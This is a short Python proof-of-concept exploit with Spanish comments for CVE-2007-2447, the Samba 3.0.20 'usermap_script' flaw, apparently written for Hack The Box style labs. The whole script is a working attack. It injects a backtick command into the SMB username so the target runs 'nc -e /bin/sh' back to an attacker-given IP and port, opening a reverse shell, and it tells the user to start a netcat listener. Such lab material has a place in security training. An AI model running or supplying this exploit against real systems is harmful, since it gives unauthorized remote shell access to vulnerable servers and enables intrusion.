#!/usr/bin/env python3
"""
PoC educativo — CVE-2007-2447 (Samba 3.0.20 'usermap_script').
Inyecta un comando en el campo de usuario de la autenticacion SMB.

Uso:
    python3 exploit_lame.py <IP_OBJETIVO> <IP_ATACANTE> <PUERTO>

Requiere: pip install pysmb
Solo para uso en entornos autorizados (HTB/labs propios).
"""
import sys

from smb.SMBConnection import SMBConnection


def exploit(target, lhost, lport):
    payload = "/=`nohup nc -e /bin/sh {} {}`".format(lhost, lport)
    conn = SMBConnection(payload, "", "", "")
    try:
        conn.connect(target, 445, timeout=5)
    except Exception:
        # La conexion fallara: lo importante es que el payload ya se ejecuto.
        pass
    print("[+] Payload enviado. Revisa tu listener: nc -lvnp {}".format(lport))


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(__doc__)
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], int(sys.argv[3]))
